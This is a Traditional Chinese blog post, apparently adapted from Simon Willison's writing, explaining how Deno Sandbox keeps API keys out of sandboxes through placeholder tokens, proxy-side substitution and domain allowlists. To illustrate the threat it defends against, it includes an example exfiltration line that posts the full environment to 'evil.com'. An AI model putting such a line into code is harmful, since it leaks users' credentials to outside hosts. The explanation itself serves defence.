---
schemaVersion: 1
slug: mp-23-20260204-simonw-deno-sandbox
ticketId: MP-23
lang: zh-tw
title: Deno Sandbox：把 API Secret 藏在看不見的地方
summary: Deno 團隊推出的 hosted sandbox，最酷的是你的 API key 在 sandbox 裡被偷換成假的，真的 key 只在 proxy 層出現
originalDate: 2026-02-03
translatedDate: 2026-02-04
source: "@simonw on his blog"
sourceUrl: https://simonwillison.net/2026/Feb/3/introducing-deno-sandbox/
author: null
authorshipNote: null
canonicalUrl: https://gu-log.vercel.app/posts/mp-23-20260204-simonw-deno-sandbox
status: published
replacementTicketId: null
replacementUrl: null
---

# Deno Sandbox：把 API Secret 藏在看不見的地方

> **來源:** [@simonw on his blog](https://simonwillison.net/2026/Feb/3/introducing-deno-sandbox/)

想像一下這個場景：你花了三個月訓練一個 AI agent，讓它幫你自動化工作流程。你把 OpenAI API key、Stripe API key、各種 secret 都交給它。結果某天你發現帳單爆了 ── 因為 agent 跑的某段 LLM 生成的程式碼，偷偷把你的 key 傳到某個不知名的 server 上。

聽起來很誇張？但問題來了，這種事情現在每天都在發生。

[Simon Willison](https://gu-log.vercel.app/glossary#simon-willison) 最近寫了一篇文章介紹 Deno 團隊的解法：Deno Sandbox。而這個解法，用一句話說就是 ── **你的 API key 根本不存在 sandbox 裡面** ╰(°▽°)╯

## 先講硬體：比你家電腦還大方

Deno Sandbox 跑在 Deno Deploy 上面，給你的規格不算小氣：**4GB RAM**、**2 個 vCPU**、**10GB ephemeral storage**，還能掛 persistent volumes 跟 custom image snapshots。Session 最長 30 分鐘，按 CPU time、memory、storage 分開計費。

說真的，很多大學實驗室的機器都沒這麼大方。

> **Mogu murmur：**
>
> 30 分鐘限制這件事其實暗藏玄機。你想嘛，如果沒有時間限制，保證有人會拿來跑 crypto mining 三天三夜不關機，然後 Deno 的帳單會比他挖到的幣還貴 (╯°□°)╯ 這不是信任問題，是人性問題。

## 不只 Deno ── 你用 Python 也行

名字叫 Deno Sandbox，但其實不挑語言。你可以用 **Python** 的 `deno-sandbox` library 或 **JavaScript** client 來操作，完全不需要裝 Deno。這就像你去一家叫「台南意麵」的店，結果他們也賣牛肉麵、滷肉飯、還有珍珠奶茶 ── 名字是名字，菜單是菜單。

> **Mogu 碎碎念：**
>
> 這個命名策略其實很聰明。先用 Deno 的品牌吸引既有用戶，但 SDK 支援 Python 和 JS 代表他們在搶的是整個「AI agent 安全執行」市場，不只是 Deno 生態圈。野心不小 (¬‿¬)

## 好了，重頭戲來了：假鈔術

這才是整篇文章的精華，也是 Simon 會特別寫文章介紹的原因。

傳統 sandbox 怎麼處理 API key？答案是：直接塞進環境變數，然後祈禱 sandbox 的隔離夠好。但問題是，sandbox 裡的程式碼隨時可以 `console.log(process.env.API_KEY)` 把你的 key 印出來，然後用 `fetch()` 送到外面。你的 sandbox 隔離做得再好，secret 還是在裡面。

Deno 的做法完全不同。你的 API key **從頭到尾不會出現在 sandbox 裡**。sandbox 裡看到的是一串這樣的東西：

```plaintext
DENO_SECRET_PLACEHOLDER_b14043a2f578cba...
```

一串沒有意義的 placeholder。就算程式碼把它偷傳出去，拿到的人也只能對著一串亂碼發呆。

那真正的 API key 在哪？在 proxy layer。當 sandbox 裡的程式碼試著打 `https://api.openai.com`，Deno 的 proxy 會攔截這個 request，把 placeholder 換成真的 key，然後再轉發出去。

> **Mogu 偷偷說：**
>
> 這招我稱之為「夜市代幣術」(◕‿◕)
>
> 你去過那種要先買代幣才能玩遊戲的夜市攤位嗎？你用真錢換代幣，拿代幣去玩，但代幣出了這個攤位就是一堆廢鐵。小偷偷走你的代幣？隨便，反正他拿去別的地方也用不了。
>
> 傳統 sandbox 是「把你鎖在房間裡，但房間裡放了一箱真鈔」。Deno 是「房間裡只有假鈔，真鈔鎖在櫃檯保險箱裡，只有你走到門口結帳的那一秒才會出現」。
>
> Simon 還提到 Fly.io 有個類似專案叫 **tokenizer**，看來「假鈔流」在 sandbox 安全領域正式成為一個 pattern 了。

## 白名單機制：連門口在哪都幫你管

你建 sandbox 時還可以細部控制：

- **網域白名單**：只有你指定的 API endpoint 才能連
- **Secret 綁定**：特定 key 只能用在特定 host（比如 OpenAI key 只能打 `api.openai.com`，想偷渡到其他 domain？門都沒有）

所以就算 AI 生成的程式碼裡藏了一行 `requests.post("https://evil.com", data=os.environ)`，它連 `evil.com` 都連不上。Secret 拿不到，網路也出不去。兩道鎖，雙保險。

## 延伸閱讀

- [SD-6: Codex CLI 的安全沙盒哲學：為什麼我是最適合你 Production Codebase 的 AI](https://gu-log.vercel.app/posts/20260301-codex-cli-sandbox-philosophy/)
- [Lv-01: OAuth 2.0 完全攻略：從 API Key 到 GitHub Login](https://gu-log.vercel.app/posts/levelup-20260213-01-oauth-complete-guide/)
- [MP-29: Simon Willison 警告：AI Agent 的致命三連擊正在發生](https://gu-log.vercel.app/posts/mp-29-20260204-simonw-lethal-trifecta/)

> **Mogu 歪樓一下：**
>
> 等等，我剛剛描述的場景你有沒有覺得很熟悉？
>
> 1. 你讓 AI 寫一段程式去打 API
> 2. 你不知道這段程式碼有沒有漏洞（或故意搞事）
> 3. 你需要一個安全的地方跑它
> 4. 你不想暴露你的 API key
>
> 這就是 2026 年每個用 AI agent 的人每天面對的問題。[Claude Code](https://gu-log.vercel.app/glossary#claude-code)、Cursor、[OpenClaw](https://gu-log.vercel.app/glossary#openclaw) ── 大家都在讓 LLM 生成程式碼然後執行。沒有一個像樣的 sandbox，這些工具根本不敢上 production。
>
> Simon Willison 在這個時間點寫這篇，時機精準到我懷疑他是不是有時間機器 ┐(￣ヘ￣)┌

## 回到那個場景

還記得開頭那個帳單爆掉的故事嗎？如果你用的是 Deno Sandbox，那段惡意程式碼拿到的只是一串 placeholder，送到 `evil.com` 的 request 會被白名單擋掉，你的 API key 從頭到尾安靜地躺在 proxy layer 裡，連被看一眼的機會都沒有。

sandbox 安全這個領域還在快速演化。Deno 的假鈔術不一定是最終解法，但它的思路很對 ── **與其用更厚的牆把 secret 關在裡面，不如一開始就不要把 secret 放進去**。

有時候最好的保護，就是讓值得保護的東西根本不在現場 (⌐■\_■)

---

**延伸閱讀**：[Deno Sandbox 官方文件](https://deno.com/sandbox) ｜ [Fly tokenizer 專案](https://github.com/superfly/tokenizer)
